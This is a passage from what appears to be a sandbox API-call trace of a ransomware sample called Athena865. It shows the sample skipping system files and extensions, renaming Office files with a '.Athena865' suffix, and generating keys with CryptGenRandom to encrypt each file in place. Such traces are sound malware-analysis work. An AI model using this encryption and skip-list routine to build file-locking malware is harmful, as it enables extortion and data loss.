dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.388] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.391] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6fd04, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS.HXS", cAlternateFileName="")) returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2=".") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="..") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="windows") returned -1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="bootmgr") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="temp") returned -1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="pagefile.sys") returned -1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="boot") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="ids.txt") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="ntuser.dat") returned 1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="perflogs") returned -1 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2="MSBuild") returned 1 [0143.391] lstrlenW (lpString="OIS.HXS") returned 7 [0143.391] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OIS.HXS" | out: lpString1="OIS.HXS") returned="OIS.HXS" [0143.391] lstrlenW (lpString="OIS.HXS") returned 7 [0143.391] lstrlenW (lpString="Athena865") returned 9 [0143.391] lstrlenW (lpString=".dll") returned 4 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2=".dll") returned 1 [0143.391] lstrlenW (lpString=".lnk") returned 4 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2=".lnk") returned 1 [0143.391] lstrlenW (lpString=".ini") returned 4 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2=".ini") returned 1 [0143.391] lstrlenW (lpString=".sys") returned 4 [0143.391] lstrcmpiW (lpString1="OIS.HXS", lpString2=".sys") returned 1 [0143.391] lstrlenW (lpString="OIS.HXS") returned 7 [0143.391] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.Athena865") returned 65 [0143.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.athena865"), dwFlags=0x1) returned 1 [0143.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.393] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=457988) returned 1 [0143.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.393] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.394] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.394] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.394] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.394] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x70010, lpName=0x0) returned 0x17c [0143.396] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x70010) returned 0x2bb0000 [0143.410] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.410] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.410] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.411] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.411] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.411] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.415] CloseHandle (hObject=0x17c) returned 1 [0143.415] CloseHandle (hObject=0x154) returned 1 [0143.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.415] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc74da00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcc74da00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OISINTL.DLL", cAlternateFileName="")) returned 1 [0143.417] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.417] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2=".") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="..") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="windows") returned -1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="bootmgr") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="temp") returned -1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="pagefile.sys") returned -1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="boot") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="ids.txt") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="ntuser.dat") returned 1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="perflogs") returned -1 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2="MSBuild") returned 1 [0143.418] lstrlenW (lpString="OISINTL.DLL") returned 11 [0143.418] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OISINTL.DLL" | out: lpString1="OISINTL.DLL") returned="OISINTL.DLL" [0143.418] lstrlenW (lpString="OISINTL.DLL") returned 11 [0143.418] lstrlenW (lpString="Athena865") returned 9 [0143.418] lstrcmpiW (lpString1="SINTL.DLL", lpString2="Athena865") returned 1 [0143.418] lstrlenW (lpString=".dll") returned 4 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2=".dll") returned 1 [0143.418] lstrlenW (lpString=".lnk") returned 4 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2=".lnk") returned 1 [0143.418] lstrlenW (lpString=".ini") returned 4 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2=".ini") returned 1 [0143.418] lstrlenW (lpString=".sys") returned 4 [0143.418] lstrcmpiW (lpString1="OISINTL.DLL", lpString2=".sys") returned 1 [0143.418] lstrlenW (lpString="OISINTL.DLL") returned 11 [0143.418] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.Athena865") returned 69 [0143.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.athena865"), dwFlags=0x1) returned 1 [0143.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OISINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\oisintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.423] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=129432) returned 1 [0143.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.423] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.423] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.424] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.424] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.424] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fca0, lpName=0x0) returned 0x17c [0143.426] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fca0) returned 0x100000 [0143.430] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.431] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.431] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.432] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.432] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.433] CloseHandle (hObject=0x17c) returned 1 [0143.433] CloseHandle (hObject=0x154) returned 1 [0143.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.433] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.433] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS_COL.HXC", cAlternateFileName="")) returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2=".") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="..") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="windows") returned -1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="bootmgr") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="temp") returned -1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="pagefile.sys") returned -1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="boot") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="ids.txt") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="ntuser.dat") returned 1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="perflogs") returned -1 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2="MSBuild") returned 1 [0143.434] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0143.434] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OIS_COL.HXC" | out: lpString1="OIS_COL.HXC") returned="OIS_COL.HXC" [0143.434] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0143.434] lstrlenW (lpString="Athena865") returned 9 [0143.434] lstrcmpiW (lpString1="S_COL.HXC", lpString2="Athena865") returned 1 [0143.434] lstrlenW (lpString=".dll") returned 4 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2=".dll") returned 1 [0143.434] lstrlenW (lpString=".lnk") returned 4 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2=".lnk") returned 1 [0143.434] lstrlenW (lpString=".ini") returned 4 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2=".ini") returned 1 [0143.434] lstrlenW (lpString=".sys") returned 4 [0143.434] lstrcmpiW (lpString1="OIS_COL.HXC", lpString2=".sys") returned 1 [0143.434] lstrlenW (lpString="OIS_COL.HXC") returned 11 [0143.435] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.Athena865") returned 69 [0143.435] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.athena865"), dwFlags=0x1) returned 1 [0143.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.437] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=611) returned 1 [0143.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.437] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.438] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.438] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.438] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x570, lpName=0x0) returned 0x17c [0143.440] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x570) returned 0x100000 [0143.440] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.441] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.441] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.441] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.441] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.442] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.442] CloseHandle (hObject=0x17c) returned 1 [0143.442] CloseHandle (hObject=0x154) returned 1 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.442] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.442] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4501af00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4501af00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OIS_COL.HXT", cAlternateFileName="")) returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2=".") returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="..") returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="windows") returned -1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="bootmgr") returned 1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="temp") returned -1 [0143.442] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="pagefile.sys") returned -1 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="boot") returned 1 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="ids.txt") returned 1 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="ntuser.dat") returned 1 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="perflogs") returned -1 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2="MSBuild") returned 1 [0143.443] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0143.443] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OIS_COL.HXT" | out: lpString1="OIS_COL.HXT") returned="OIS_COL.HXT" [0143.443] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0143.443] lstrlenW (lpString="Athena865") returned 9 [0143.443] lstrcmpiW (lpString1="S_COL.HXT", lpString2="Athena865") returned 1 [0143.443] lstrlenW (lpString=".dll") returned 4 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2=".dll") returned 1 [0143.443] lstrlenW (lpString=".lnk") returned 4 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2=".lnk") returned 1 [0143.443] lstrlenW (lpString=".ini") returned 4 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2=".ini") returned 1 [0143.443] lstrlenW (lpString=".sys") returned 4 [0143.443] lstrcmpiW (lpString1="OIS_COL.HXT", lpString2=".sys") returned 1 [0143.443] lstrlenW (lpString="OIS_COL.HXT") returned 11 [0143.443] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.Athena865") returned 69 [0143.443] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.athena865"), dwFlags=0x1) returned 1 [0143.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.445] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=203) returned 1 [0143.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.445] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.445] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.446] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.446] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.446] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d0, lpName=0x0) returned 0x17c [0143.450] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3d0) returned 0x100000 [0143.451] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.452] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.452] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.452] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.452] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.453] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.453] CloseHandle (hObject=0x17c) returned 1 [0143.453] CloseHandle (hObject=0x154) returned 1 [0143.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.453] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: 